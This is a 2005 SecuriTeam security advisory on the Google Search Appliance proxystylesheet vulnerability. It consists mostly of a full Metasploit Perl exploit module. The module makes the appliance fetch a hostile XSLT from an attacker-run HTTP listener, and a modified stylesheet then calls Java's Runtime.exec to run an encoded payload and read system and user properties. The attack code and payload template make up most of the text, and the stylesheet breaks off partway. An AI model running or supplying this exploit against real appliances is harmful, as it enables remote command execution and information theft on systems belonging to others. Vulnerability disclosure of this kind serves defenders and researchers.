[EXPL] Multiple Vulnerabilities Google Search Appliance Proxystyle*** (Multiple XSS, Multiple Information disclosure, Java Code Execution, Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/21/05

  • Next message: SecuriTeam: "[NEWS] Google Search Appliance Proxystyle*** XSLT Multiple Vulnerabilities (XSS, Information disclosure, Java Code Execution)"
    To: list@securiteam.com
    Date: 21 Nov 2005 16:10:01 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Multiple Vulnerabilities Google Search Appliance Proxystyle***
    (Multiple XSS, Multiple Information disclosure, Java Code Execution,
    Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    "The <http://www.google.com/enterprise/> Google Mini offers
    cost-effective, high-quality search for your public website or intranet "

    By supplying a malicious XSLT, attackers may execute arbitrary programs,
    retrieve system information or cause XSS vulnerabilities in Google's mini
    appliance.

    DETAILS

    Vulnerable Systems:
     * Google Mini Search Appliance

    Exploit:
    #
    # This file is part of the Metasploit Framework and may be redistributed
    # according to the licenses defined in the Authors field below. In the
    # case of an unknown or missing license, this file defaults to the same
    # license as the core Framework (dual GPLv2 and Artistic). The latest
    # version of the Framework can always be obtained from metasploit.com.
    #

    package Msf::Exploit::google_proxystylesheet_exec;

    use strict;
    use base "Msf::Exploit";
    use Pex::Text;
    use IO::Socket;
    use IO::Select;
    my $advanced = { };

    my $info =
    {
     'Name' => 'Google Appliance ProxyStyle*** Command Execution',
     'Version' => '$Revision: 1.2 $',
     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
     
     'Description' =>
      Pex::Text::Freeform(qq{
       This module exploits a feature in the Saxon XSLT parser used by
      the Google Search Appliance. This feature allows for arbitrary
      java methods to be called. Google released a patch and advisory to
      their client base in August of 2005 (GA-2005-08-m). The target appliance
      must be able to connect back to your machine for this exploit to work.
      }),
      
     'Arch' => [ ],
     'OS' => [ ],
     'Priv' => 0,
     'UserOpts' =>
      {
       'RHOST' => [ 1, 'HOST', 'The address of the Google appliance'],
       'RPORT' => [ 1, 'PORT', 'The port used by the search interface',
    80],
       'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
       'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
       'HTTPADDR' => [ 0, 'HOST', 'The address that can be used to connect
    back to this system'],
      },
     'Payload' =>
      {
       'Space' => 1024,
       'Keys' => [ 'cmd' ],
      },
     'Refs' =>
      [
       ['OSVDB', 20981],
      ],
     'DefaultTarget' => 0,
     'Targets' =>
      [
       [ 'Google Search Appliance']
      ],
     'Keys' => [ 'google' ],

     'DisclosureDate' => 'Aug 16 2005',
    };

    sub new
    {
     my $class = shift;
     my $self;
     
     $self = $class->SUPER::new(
       {
        'Info' => $info,
        'Advanced' => $advanced,
       },
       @_);

     return $self;
    }

    sub Check {
     my $self = shift;
     my $s = $self->ConnectSearch;
     
     if (! $s) {
      return $self->CheckCode('Connect');
     }
     
     my $url =
      "/search?client=". Pex::Text::AlphaNumText(int(rand(15))+1). "&".
      "site=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
      "output=xml_no_dtd&".
      "q=".Pex::Text::AlphaNumText(int(rand(15))+1)."&".
      "proxystyle***=http://".Pex::Text::AlphaNumText(int(rand(32))+1)."/";
     
     $s->Send("GET $url HTTP/1.0\r\n\r\n");
     my $page = $s->Recv(-1, 5);
     $s->Close;

     if ($page =~ /cannot be resolved to an ip address/) {
      $self->PrintLine("[*] This system appears to be vulnerable >:-)");
      return $self->CheckCode('Confirmed');
     }
     
     if ($page =~ /ERROR: Unable to fetch the style***/) {
      $self->PrintLine("[*] This system appears to be patched");
     }
     
     $self->PrintLine("[*] This system does not appear to be vulnerable");
     return $self->CheckCode('Safe');
    }

    sub Exploit
    {
     my $self = shift;
     my ($s, $page);
     
     # Request the index page to obtain a redirect response
     $s = $self->ConnectSearch || return;
     $s->Send("GET / HTTP/1.0\r\n\r\n");
     $page = $s->Recv(-1, 5);
     $s->Close;

     # Parse the redirect to get the client and site values
     my ($goog_site, $goog_clnt) = $page =~
    m/^location.*site=([^\&]+)\&.*client=([^\&]+)\&/im;
     if (! $goog_site || ! $goog_clnt) {
      $self->PrintLine("[*] Invalid response to our request, is this a Google
    appliance?");
      return;
     }

     # Create the listening local socket that will act as our HTTP server
     my $lis = IO::Socket::INET->new(
       LocalHost => $self->GetVar('HTTPHOST'),
       LocalPort => $self->GetVar('HTTPPORT'),
       ReuseAddr => 1,
       Listen => 1,
       Proto => 'tcp');
     
     if (not defined($lis)) {
      $self->PrintLine("[-] Failed to create local HTTP listener on " .
    $self->GetVar('HTTPPORT'));
      return;
     }
     my $sel = IO::Select->new($lis);
     
     # Send a search request with our own address in the proxystyle***
    parameter
     my $query = Pex::Text::AlphaNumText(int(rand(32))+1);
     
     my $proxy =
      "http://".
      ($self->GetVar('HTTPADDR') ||
    Pex::Utils::SourceIP($self->GetVar('RHOST'))).
      
    ":".$self->GetVar('HTTPPORT')."/".Pex::Text::AlphaNumText(int(rand(15))+1).".xsl";
     
     my $url =
      "/search?client=". $goog_clnt ."&site=". $goog_site .
      "&output=xml_no_dtd&proxystyle***=". $proxy .
      "&q=". $query ."&proxyreload=1";

     $self->PrintLine("[*] Sending our malicious search request...");
     $s = $self->ConnectSearch || return;
     $s->Send("GET $url HTTP/1.0\r\n\r\n");
     $page = $s->Recv(-1, 3);
     $s->Close;

     $self->PrintLine("[*] Listening for connections to http://" .
    $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");
     
     # Did we receive a connection?
     my @r = $sel->can_read(30);
     
     if (! @r) {
      $self->PrintLine("[*] No connection received from the search engine,
    possibly patched.");
      $lis->close;
      return;
     }

     my $c = $lis->accept();
     if (! $c) {
      $self->PrintLine("[*] No connection received from the search engine,
    possibly patched.");
      $lis->close;
      return;
     }

     my $cli = Msf::Socket::Tcp->new_from_socket($c);
     $self->PrintLine("[*] Connection received from ".$cli->PeerAddr."...");
     $self->ProcessHTTP($cli);
     return;
    }

    sub ConnectSearch {
     my $self = shift;
     my $s = Msf::Socket::Tcp->new(
      'PeerAddr' => $self->GetVar('RHOST'),
      'PeerPort' => $self->GetVar('RPORT'),
      'SSL' => $self->GetVar('SSL')
     );
     
     if ($s->IsError) {
      $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
      return;
     }
     return $s;
    }

    sub ProcessHTTP
    {
     my $self = shift;
     my $cli = shift;
     my $targetIdx = $self->GetVar('TARGET');
     my $target = $self->Targets->[$targetIdx];
     my $ret = $target->[1];
     my $shellcode = $self->GetVar('EncodedPayload')->Payload;
     my $content;
     my $rhost;
     my $rport;

     # Read the first line of the HTTP request
     my ($cmd, $url, $proto) = split(/ /, $cli->RecvLine(10));

     # The way we call Runtime.getRuntime().exec, Java will split
     # our string on whitespace. Since we are injecting via XSLT,
     # inserting quotes becomes a huge pain, so we do this...
     my $exec_str =
      '/usr/bin/perl -e system(pack(qq{H*},qq{' .
      unpack("H*", $self->GetVar('EncodedPayload')->RawPayload).
      '}))';

     # Load the template from our data section, we have to manually
     # seek and reposition to allow the exploit to be used more
     # than once without a reload.
     seek(DATA, 0, 0);
     while(<DATA>) { last if /^__DATA__$/ }
     while(<DATA>) { $content .= $_ }

     # Insert our command line
     $content =~ s/:x:MSF:x:/$exec_str/;
     
     # Send it to the requesting appliance
     $rport = $cli->PeerPort;
     $rhost = $cli->PeerAddr;
     $self->PrintLine("[*] HTTP Client connected from $rhost, sending
    XSLT...");
     
     my $res = "HTTP/1.1 200 OK\r\n" .
          "Content-Type: text/html\r\n" .
          "Content-Length: " . length($content) . "\r\n" .
          "Connection: close\r\n" .
          "\r\n" .
          $content;

     $self->PrintLine("[*] Sending ".length($res)." bytes...");
     $cli->Send($res);
     $cli->Close;
    }

    1;

    # The default Google Mini style *** is included below, with a few
    modifications to
    # the my_page_footer template.
    __DATA__
    < !-- ** START OF STYLE*** ** -- >

    < !-- ***********************************
     XSL to format the search output for Google Search Appliance
       *********************************** -- >
    < xsl:style*** xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    version="1.0" >
    < xsl:output method="html"/ >

    < !-- ***********************************
     Logo setup (can be customized)
       - whether to show logo: 0 for FALSE, 1 (or non-zero) for TRUE
       - logo url
       - logo size: '' for default image size
       *********************************** -- >
    < xsl:variable name="show_logo" >1</xsl:variable >
    < xsl:variable name="logo_url" >images/Title_Left.gif</xsl:variable >
    < xsl:variable name="logo_width" >200</xsl:variable >
    < xsl:variable name="logo_height" >78</xsl:variable >

    < !-- ***********************************
     Global Style variables (can be customized): '' for using browser's
    default
       *********************************** -- >

    < xsl:variable name="global_font" >arial,sans-serif</xsl:variable >
    < xsl:variable name="global_font_size" ></xsl:variable >
    < xsl:variable name="global_bg_color" >#ffffff</xsl:variable >
    < xsl:variable name="global_text_color" >#000000</xsl:variable >
    < xsl:variable name="global_link_color" >#0000cc</xsl:variable >
    < xsl:variable name="global_vlink_color" >#551a8b</xsl:variable >
    < xsl:variable name="global_alink_color" >#ff0000</xsl:variable >

    < !-- ***********************************
     Result page components (can be customized)
       - whether to show a component: 0 for FALSE, non-zero (e.g., 1) for TRUE
       - text and style
       *********************************** -- >

    < !-- ** choose result page header: '', 'provided', 'mine', or 'both' **
    -- >
    < xsl:variable name="choose_result_page_header" >both</xsl:variable >

    < !-- ** customize provided result page header ** -- >
    < xsl:variable name="show_result_page_adv_link" >1</xsl:variable >
    < xsl:variable name="adv_search_anchor_text" >Advanced
    Search</xsl:variable >
    < xsl:variable name="show_result_page_help_link" >1</xsl:variable >
    < xsl:variable name="search_help_anchor_text" >Search Tips</xsl:variable >

    < !-- ** search boxes ** -- >
    < xsl:variable name="show_top_search_box" >1</xsl:variable >
    < xsl:variable name="show_bottom_search_box" >1</xsl:variable >
    < xsl:variable name="search_box_size" >32</xsl:variable >

    < !-- ** choose search button type: 'text' or 'image' ** -- >
    < xsl:variable name="choose_search_button" >text</xsl:variable >
    < xsl:variable name="search_button_text" >Google Search</xsl:variable >
    < xsl:variable name="search_button_image_url" ></xsl:variable >
    < xsl:variable name="search_subcollections_xslt" ></xsl:variable >

    < !-- ** search info bars ** -- >
    < xsl:variable name="show_search_info" >1</xsl:variable >

    < !-- ** choose separation bar: 'blue', 'line', 'nothing' ** -- >
    < xsl:variable name="choose_sep_bar" >blue</xsl:variable >

    < !-- ** navigation bars: '', 'google', 'link', or 'simple'** -- >
    < xsl:variable name="show_top_navigation" >0</xsl:variable >
    < xsl:variable name="choose_bottom_navigation" >google</xsl:variable >
    < xsl:variable name="my_nav_align" >right</xsl:variable >
    < xsl:variable name="my_nav_size" >-1</xsl:variable >
    < xsl:variable name="my_nav_color" >#6f6f6f</xsl:variable >

    < !-- ** sort by date/relevance ** -- >
    < xsl:variable name="show_sort_by" >0</xsl:variable >

    < !-- ** spelling suggestions ** -- >
    < xsl:variable name="show_spelling" >1</xsl:variable >
    < xsl:variable name="spelling_text" >Did you mean:</xsl:variable >
    < xsl:variable name="spelling_text_color" >#cc0000</xsl:variable >

    < !-- ** synonyms suggestions ** -- >
    < xsl:variable name="show_synonyms" >1</xsl:variable >
    < xsl:variable name="synonyms_text" >You could also try:</xsl:variable >
    < xsl:variable name="synonyms_text_color" >#cc0000</xsl:variable >

    < !-- ** keymatch suggestions ** -- >
    < xsl:variable name="show_keymatch" >1</xsl:variable >
    < xsl:variable name="keymatch_text" >KeyMatch</xsl:variable >
    < xsl:variable name="keymatch_text_color" >#2255aa</xsl:variable >
    < xsl:variable name="keymatch_bg_color" >#e8e8ff</xsl:variable >

    < !-- ***********************************
     Result elements (can be customized)
       - whether to show an element ('1' for yes, '0' for no)
       - font/size/color ('' for using style of the context)
       *********************************** -- >

    < !-- ** result title and snippet ** -- >
    < xsl:variable name="show_res_title" >1</xsl:variable >
    < xsl:variable name="res_title_color" >#0000cc</xsl:variable >
    < xsl:variable name="res_title_size" ></xsl:variable >
    < xsl:variable name="show_res_snippet" >1</xsl:variable >
    < xsl:variable name="res_snippet_size" >80%</xsl:variable >

    < !-- ** keyword match (in title or snippet) ** -- >
    < xsl:variable name="res_keyword_color" ></xsl:variable >
    < xsl:variable name="res_keyword_size" ></xsl:variable >
    < xsl:variable name="res_keyword_format" >b</xsl:variable > <!-- 'b' for
    bold -- >

    < !-- ** link URL ** -- >
    < xsl:variable name="show_res_url" >1</xsl:variable >
    < xsl:variable name="res_url_color" >#008000</xsl:variable >
    < xsl:variable name="res_url_size" >-1</xsl:variable >

    < !-- ** misc elements ** -- >
    < xsl:variable name="show_res_description" >1</xsl:variable >
    < xsl:variable name="show_res_size" >1</xsl:variable >
    < xsl:variable name="show_res_date" >1</xsl:variable >
    < xsl:variable name="show_res_cache" >1</xsl:variable >

    < !-- ** used in result cache link, similar pages link, and description **
    -- >
    < xsl:variable name="faint_color" >#6f6f6f</xsl:variable >

    < !-- ** show secure results radio button ** -- >
    < xsl:variable name="show_secure_radio" >0</xsl:variable >

    < !-- ***********************************
     Other variables (can be customized)
       *********************************** -- >

    < !-- ** page title ** -- >
    < xsl:variable name="front_page_title" >Search Home</xsl:variable >
    < xsl:variable name="result_page_title" >Search Results</xsl:variable >
    < xsl:variable name="adv_page_title" >Advanced Search</xsl:variable >
    < xsl:variable name="error_page_title" >Error</xsl:variable >

    < !-- ** choose adv_search page header: '', 'provided', 'mine', or 'both'
    ** -- >
    < xsl:variable name="choose_adv_search_page_header" >both</xsl:variable >

    < !-- ** cached page header text ** -- >
    < xsl:variable name="cached_page_header_text" >This is the cached copy of
    </xsl:variable >

    < !-- ** error message text ** -- >
    < xsl:variable name="xml_error_msg_text" >Unknown XML result
    type.</xsl:variable >
    < xsl:variable name="xml_error_des_text" >View page source to see the
    offending XML.</xsl:variable >

    < !-- ** advanced search page panel background color ** -- >
    < xsl:variable name="adv_search_panel_bgcolor" >#cbdced</xsl:variable >

    < !-- ***********************************
     My global page header/footer (can be customized)
       *********************************** -- >
    < xsl:template name="my_page_header" >
     <!-- ** replace the following with your own xhtml code or replace the
    text
      between the xsl:text tags with html escaped html code ** -- >
     <xsl:text disable-output-escaping="yes" > <!-- Please enter html code
    below. -- ></xsl:text >
    < /xsl:template >

    < xsl:template
     name="my_page_footer"
     xmlns:sys="http://www.oracle.com/XSL/Transform/java/java.lang.System"
     xmlns:run="http://www.oracle.com/XSL/Transform/java/java.lang.Runtime"
    >

    < !-- Google XSLT Code Execution [metasploit] -- >

    XSLT Version: <xsl:value-of select="system-property('xsl:version')"/ > <br
    / >
    XSLT Vendor: <xsl:value-of select="system-property('xsl:vendor')" / > <br
    / >
    XSLT URL: <xsl:value-of select="system-property('xsl:vendor-url')" / > <br
    / >
    OS: <xsl:value-of select="sys:getProperty('os.name')" / > <br / >
    Version: <xsl:value-of select="sys:getProperty('os.version')" / > <br / >
    Arch: <xsl:value-of select="sys:getProperty('os.arch')" / > <br / >
    UserName: <xsl:value-of select="sys:getProperty('user.name')" / > <br / >
    UserHome: <xsl:value-of select="sys:getProperty('user.home')" / > <br / >
    UserDir: <xsl:value-of select="sys:getProperty('user.dir')" / > <br / >

    Executing command...<br / >
    < xsl:value-of select="run:exec(run:getRuntime(), ':x:MSF:x:')" / >

      <xsl:text disable-output-escaping="yes" > <!-- Please enter html code
    below. -- ></xsl:text >
     </span >
    < /xsl:template >

    < !-- ***********************************
     Logo template (can be customized)
       *********************************** -- >
    < xsl:template name="logo" >
      <a href="{$home_url}" ><img src="{$logo_url}"
       width="{$logo_width}" height="{$logo_height}"
       alt="Go to Search Home" border="0" / ></a >
    < /xsl:template >

    < !-- ***********************************
     Search result page header (can be customized): logo and search box
       *********************************** -- >
    < xsl:template name="result_page_header" >
      <table border="0" cellpadding="0" cellspacing="0" >
       <tr >
     <xsl:if test="$show_logo != '0'" >
      <td rowspan="3" valign="top" >
          <xsl:call-template name="logo"/ >
          <xsl:call-template name="nbsp3"/ >
         </td >
     </xsl:if >
        <td nowrap="1" >
         <font size="-1" >
       <xsl:if test="$show_result_page_adv_link != '0'" >
           <a href="{$adv_search_url}" >
            <xsl:value-of select="$adv_search_anchor_text"/ >
           </a >
           <xsl:call-template name="nbsp4"/ >
       </xsl:if >
       <xsl:if test="$show_result_page_help_link != '0'" >
           <a href="{$help_url}" >
            <xsl:value-of select="$search_help_anchor_text"/ >
           </a >
       </xsl:if >
          <br/ >
         </font >
        </td >
       </tr >
       <xsl:if test="$show_top_search_box != '0'" >
        <tr >
         <td valign="middle" >
          <xsl:call-template name="search_box"/ >
         </td >
        </tr >
       </xsl:if >
       <xsl:if test="/GSP/CT" >
     <tr >
         <td valign="top" >
          <br/ >
          <xsl:call-template name="stopwords"/ >
          <br/ >
         </td >
        </tr >
       </xsl:if >
      </table >
    < /xsl:template >

    < !-- ***********************************
     Separation bar variables (used in advanced search header and result page)
       *********************************** -- >
    < xsl:variable name="sep_bar_bg_color" >
     <xsl:choose >
      <xsl:when test="$choose_sep_bar = 'blue'" >#3366cc</xsl:when >
      <xsl:otherwise ><xsl:value-of select="$global_bg_color"/
    ></xsl:otherwise >
     </xsl:choose >
    < /xsl:variable >

    < xsl:variable name="sep_bar_text_color" >
     <xsl:choose >
      <xsl:when test="$choose_sep_bar = 'blue'" >#ffffff</xsl:when >
      <xsl:otherwise ><xsl:value-of select="$global_text_color"/
    ></xsl:otherwise >
     </xsl:choose >
    < /xsl:variable >

    < !-- ***********************************
     Advanced search page header HTML (can be customized)
       *********************************** -- >
    < xsl:template name="advanced_search_header" >
       <table width="99%" border="0" cellpadding="0" cellspacing="2" >
        <tr >
       <xsl:if test="$show_logo != '0'" >
         <td rowspan="2" width="1%" >
          <table cellpadding="0" cellspacing="0" border="0" >
           <tr >
            <td align="right" valign="bottom" >
      <xsl:call-template name="logo"/ ></td >
           </tr >
          </table >
         </td >
       </xsl:if >

         <td valign="bottom" align="right" ><font size="-1" class="p" ></font
    ></td >
        </tr >

        <tr >
         <td valign="middle" >
          <table cellspacing="2" cellpadding="2" border="0" width="100%" >
           <tr bgcolor="{$sep_bar_bg_color}" >
            <td ><font face="{$global_font}" color="{$sep_bar_text_color}" >
               <b ><xsl:call-template name="nbsp"/ >
                 <xsl:value-of select="$adv_page_title"/ ></b >
              </font >
            </td >
           </tr >
          </table >
         </td >
        </tr >
       </table >
    < /xsl:template >

    < !-- ***********************************
     Cached page header (can be customized)
       *********************************** -- >
    < xsl:template name="cached_page_header" >
     <xsl:param name="cached_page_url"/ >

    < table border="1" width="100%" >
     <tr >
      <td >
       <table border="1" width="100%" cellpadding="10" cellspacing="0"
        bgcolor="{$global_bg_color}" color="{$global_bg_color}" >
        <tr >
         <td >
          <font face="{$global_font}" color="{$global_text_color}" size="-1" >
           <xsl:value-of select="$cached_page_header_text"/ >
          <a href="{$cached_page_url}" ><font color="{$global_link_color}" >
           <xsl:value-of select="$cached_page_url"/ ></font ></a >.<br/ >
          </font >
         </td >
        </tr >
       </table >
      </td >
     </tr >
    < /table >
    < hr/ >
    < /xsl:template >

    < !-- ***********************************
     "Front door" search input page (can be customized)
       *********************************** -- >
    < xsl:template name="front_door" >
    < html >
     <xsl:call-template name="langHeadStart"/ >
      <title ><xsl:value-of select="$front_page_title"/ ></title >
     <xsl:call-template name="style"/ >
     <xsl:call-template name="langHeadEnd"/ >

     <body >
     
     <xsl:call-template name="my_page_header"/ >
     <xsl:call-template name="result_page_header"/ >
     <hr/ >
     <xsl:call-template name="copyright"/ >
     <xsl:call-template name="my_page_footer"/ >

     </body >
    < /html >
    < /xsl:template >

    < !-- ***********************************
     Empty result set (can be customized)
       *********************************** -- >
    < xsl:template name="no_RES" >
     <xsl:param name="query"/ >
     <span class="p" >
     <br/ >
     Your search - <b ><xsl:value-of disable-output-escaping="yes"
     select="$query"/ ></b > - did not match any documents.
     <br/ >
     No pages were found containing <b >"<xsl:value-of
     disable-output-escaping="yes" select="$query"/ >"</b >.
     <br/ >
     <br/ >
     Suggestions:
     <ul >
      <li >Make sure all words are spelled correctly.</li >
      <li >Try different keywords.</li >
      <li >Try more general keywords.</li >
     </ul >
     </span >
    < /xsl:template >

    < !-- ###################################
     We do not recommend changes to the following code. Google Technical
     Support Personnel currently do not support customization of XSLT under
     these Technical Support Services Guidelines. Such services may be
     provided on a consulting basis, at Google's then-current consulting
     services rates under a separate agreement, if Google personnel are
     available. Please ask your Google Account Manager for more details if
     you are interested in purchasing consulting services.
       ################################### -- >

    < !-- ***********************************
     Global Style (do not customize)
     default font type/size/color, background color, link color
     using HTML CSS (Cascading Style Sheets)
       *********************************** -- >
    < xsl:template name="style" >
    < style >
    < xsl:comment >
    body,.d,.p,.s{background-color:<xsl:value-of select="$global_bg_color"/ >}
    body,td,div,.p,a,.d,.s{font-family:<xsl:value-of select="$global_font"/ >}
    body,td,div,.p,a,.d{font-size: <xsl:value-of select="$global_font_size"/
    >}
    body,div,td,.p,.s{color:<xsl:value-of select="$global_text_color"/ >}
    s,.f,.f a{font-size: <xsl:value-of select="$res_snippet_size"/ >}
    l{font-size: <xsl:value-of select="$res_title_size"/ >}
    l{color: <xsl:value-of select="$res_title_color"/ >}
    a:link,.w,.w a:link{color:<xsl:value-of select="$global_link_color"/ >}
    a:visited,.f a:visited{color:<xsl:value-of select="$global_vlink_color"/
    >}
    a:active,.f a:active{color:<xsl:value-of select="$global_alink_color"/ >}
    t{color:<xsl:value-of select="$sep_bar_text_color"/ >}
    t{background-color:<xsl:value-of select="$sep_bar_bg_color"/ >}
    z{display:none}
    f,.f:link,.f a:link{color:<xsl:value-of select="$faint_color"/ >}
    i,.i:link{color:#a90a08}
    a,.a:link{color:<xsl:value-of select="$res_url_color"/ >}
    div.n {margin-top: 1ex}
    n a{font-size: 10pt; color:<xsl:value-of select="$global_text_color"/ >}
    n .i{font-size: 10pt; font-weight:bold}
    q a:visited,.q a:link,.q a:active,.q {text-decoration: none;
    color:#0000cc;}
    b,.b a{font-size: 12pt; color:#0000cc; font-weight:bold}
    d{font-family:<xsl:value-of select="$global_font"/ >;
      margin-right:1em; margin-left:1em;}
    < /xsl:comment >
    < /style >
    < /xsl:template >

    < !-- ***********************************
     URL variables (do not customize)
       *********************************** -- >

    < !-- ** help_url: search tip URL (html file) ** -- >
    < xsl:variable name="help_url" >/basics.html</xsl:variable >

    < !-- ** base_url: collection info ** -- >
    < xsl:variable name="base_url" ><xsl:for-each
     select="/GSP/PARAM[@name = 'client' or
               @name = 'site' or
               @name = 'num' or
               @name = 'output' or
               @name = 'proxystyle***' or
               @name = 'sitesearch' or
               @name = 'access' or
            (@name = 'restrict' and
         $search_subcollections_xslt = '') or
               @name = 'lr' or
               @name = 'ie' or
               @name = 'oe']" ><xsl:value-of select="@name"
     / >=<xsl:value-of select="@original_value"
     / ><xsl:if test="position() != last()" >&</xsl:if ></xsl:for-each >
    < /xsl:variable >

    < !-- ** home_url: /search? + collection info + &proxycustom=<HOME/ > **
    -- >
    < xsl:variable name="home_url" >/search?<xsl:value-of select="$base_url"
     / >&proxycustom=<HOME/></xsl:variable >

    < !-- ** nav_url: does not include q, as_, start elements ** -- >
    < xsl:variable name="nav_url" ><xsl:for-each
     select="/GSP/PARAM[(@name != 'q') and
         not(contains(@name, 'as_')) and
               (@name != 'start')]" >
      <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
      <xsl:value-of select="@original_value"/ >
      <xsl:if test="position() != last()" >
       <xsl:text disable-output-escaping="yes" >&</xsl:text >
      </xsl:if >
     </xsl:for-each >
    < /xsl:variable >

    < !-- ** synonym_url: does not include q, as_q, and start elements ** -- >
    < xsl:variable name="synonym_url" ><xsl:for-each
     select="/GSP/PARAM[(@name != 'q') and
         (@name != 'as_q') and
               (@name != 'start')]" >
      <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
      <xsl:value-of select="@original_value"/ >
      <xsl:if test="position() != last()" >
       <xsl:text disable-output-escaping="yes" >&</xsl:text >
      </xsl:if >
     </xsl:for-each >
    < /xsl:variable >

    < !-- ** search_url: $nav_url + query elements ** -- >
    < xsl:variable name="search_url" ><xsl:for-each
     select="/GSP/PARAM[(@name != 'start')]" >
      <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
      <xsl:value-of select="@original_value"/ >
      <xsl:if test="position() != last()" >
       <xsl:text disable-output-escaping="yes" >&</xsl:text >
      </xsl:if >
     </xsl:for-each >
    < /xsl:variable >

    < !-- ** filter_url: everything except resetting "filter=" ** -- >
    < xsl:variable name="filter_url" >/search?<xsl:for-each
     select="/GSP/PARAM[(@name != 'filter')]" >
      <xsl:value-of select="@name"/ ><xsl:text >=</xsl:text >
      <xsl:value-of select="@original_value"/ >
      <xsl:text disable-output-escaping="yes" >&</xsl:text >
     </xsl:for-each ><xsl:text >filter=</xsl:text >
    < /xsl:variable >

    < !-- ** adv_search_url: /search? + $search_url + as_q=$q ** -- >
    < xsl:variable name="adv_search_url" >/search?<xsl:value-of
     select="$search_url"/ >&proxycustom=<ADVANCED/></xsl:variable >

    < !-- ***********************************
     Search Parameters (do not customize)
       *********************************** -- >

    < !-- ** num_results: actual num_results per page ** -- >
    < xsl:variable name="num_results" >
     <xsl:choose >
      <xsl:when test="/GSP/PARAM[(@name='num') and (@value!='')]" >
       <xsl:value-of select="/GSP/PARAM[@name='num']/@value"/ >
      </xsl:when >
      <xsl:otherwise >
       <xsl:value-of select="10"/ >
      </xsl:otherwise >
     </xsl:choose >
    < /xsl:variable >

    < !-- ** form_params: parameters carried by the search input form ** -- >
    < xsl:template name="form_params" >
     <xsl:for-each
      select="PARAM[@name != 'q' and
             not(contains(@name, 'as_')) and
             @name != 'btnG' and
             @name != 'btnI' and
             @name != 'filter' and
             @name != 'start' and
       @name != 'access' and
             @name != 'ip']" >
      <xsl:if test="@name != 'restrict' or $search_subcollections_xslt = ''" >
       <input type="hidden" name="{@name}" value="{@value}" / >
      </xsl:if >
      <xsl:text >
      </xsl:text >
     </xsl:for-each >
    < /xsl:template >

    < !-- ** html_escaped_query: q = /GSP/Q ** -- >
    < xsl:variable name="qval" >
     <xsl:value-of select="/GSP/Q"/ >
    < /xsl:variable >

    < xsl:variable name="html_escaped_query" >
     <xsl:value-of select="normalize-space($qval)"
      disable-output-escaping="yes"/ >
    < /xsl:variable >

    < !-- ** stripped_search_query: q, as_q, ... for cache highlight ** -- >
    < xsl:variable name="stripped_search_query" ><xsl:for-each
     select="/GSP/PARAM[(@name = 'q') or
               (@name = 'as_q') or
               (@name = 'as_oq') or
               (@name = 'as_epq')]" ><xsl:value-of select="@original_value"
     / ><xsl:if test="position() != last()"
    ><xsl:text disable-output-escaping="yes" >+</xsl:text
    ></xsl:if ></xsl:for-each >
    < /xsl:variable >

    < xsl:variable name="access" >
     <xsl:choose >
      <xsl:when test="/GSP/PARAM[(@name='access') and ((@value='s') or
    (@value='a'))]" >
       <xsl:value-of select="/GSP/PARAM[@name='access']/@original_value"/ >
      </xsl:when >
      <xsl:otherwise >p</xsl:otherwise >
     </xsl:choose >
    < /xsl:variable >

    < !-- ***********************************
     Figure out what kind of page this is (do not customize)
       *********************************** -- >
    < xsl:template match="GSP" >
     <xsl:choose >
      <xsl:when test="Q" >
       <xsl:call-template name="search_results"/ >
      </xsl:when >
      <xsl:when test="CACHE" >
       <xsl:call-template name="cached_page"/ >
      </xsl:when >
      <xsl:when test="CUSTOM/HOME" >
       <xsl:call-template name="front_door"/ >
      </xsl:when >
      <xsl:when test="CUSTOM/ADVANCED" >
       <xsl:call-template name="advanced_search"/ >
      </xsl:when >
      <xsl:when test="H1" >
       <xsl:call-template name="server_error"/ >
      </xsl:when >
      <xsl:otherwise >
       <xsl:call-template name="error_page" >
        <xsl:with-param name="errorMessage" select="$xml_error_msg_text"/ >
        <xsl:with-param name="errorDescription" select="$xml_error_des_text"/
    >
       </xsl:call-template >
      </xsl:otherwise >
     </xsl:choose >
    < /xsl:template >

    < !-- ***********************************
     Cached page (do not customize)
       *********************************** -- >
    < xsl:template name="cached_page" >
    < xsl:variable name="cached_page_url" select="CACHE/CACHE_URL"/ >
    < xsl:variable name="cached_page_html" select="CACHE/CACHE_HTML"/ >

    < !-- ** decide whether to load html page or pdf file ** -- >
    < xsl:if test="'.pdf' != substring($cached_page_url,
     1 + string-length($cached_page_url) - string-length('.pdf'))" >
      <base href="{$cached_page_url}"/ >
    < /xsl:if >

    < !-- ** display cache page header ** -- >
    < xsl:call-template name="cached_page_header" >
     <xsl:with-param name="cached_page_url" select="$cached_page_url"/ >
    < /xsl:call-template >

    < !-- ** display cached contents ** -- >
    < xsl:value-of select="$cached_page_html" disable-output-escaping="yes"/ >
    < /xsl:template >

    < xsl:template name="escape_quot" >
     <xsl:param name="string"/ >
     <xsl:call-template name="replace_string" >
      <xsl:with-param name="find" select="'"'"/ >
      <xsl:with-param name="replace" select="'"'"/ >
      <xsl:with-param name="string" select="$string"/ >
     </xsl:call-template >
    < /xsl:template >

    < !-- ***********************************
     Advanced search page (do not customize)
       *********************************** -- >
    < xsl:template name="advanced_search" >

    < xsl:variable name="html_escaped_as_q" >
      <xsl:call-template name="escape_quot" >
       <xsl:with-param name="string" select="/GSP/PARAM[@name='q']/@value"/ >
      </xsl:call-template >
      <xsl:call-template name="escape_quot" >
       <xsl:with-param name="string" select="/GSP/PARAM[@name='as_q']/@value"/
    >
      </xsl:call-template >
    < /xsl:variable >

    < xsl:variable name="html_escaped_as_epq" >
      <xsl:call-template name="escape_quot" >
       <xsl:with-param name="string"
    select="/GSP/PARAM[@name='as_epq']/@value"/ >
      </xsl:call-template >
    < /xsl:variable >

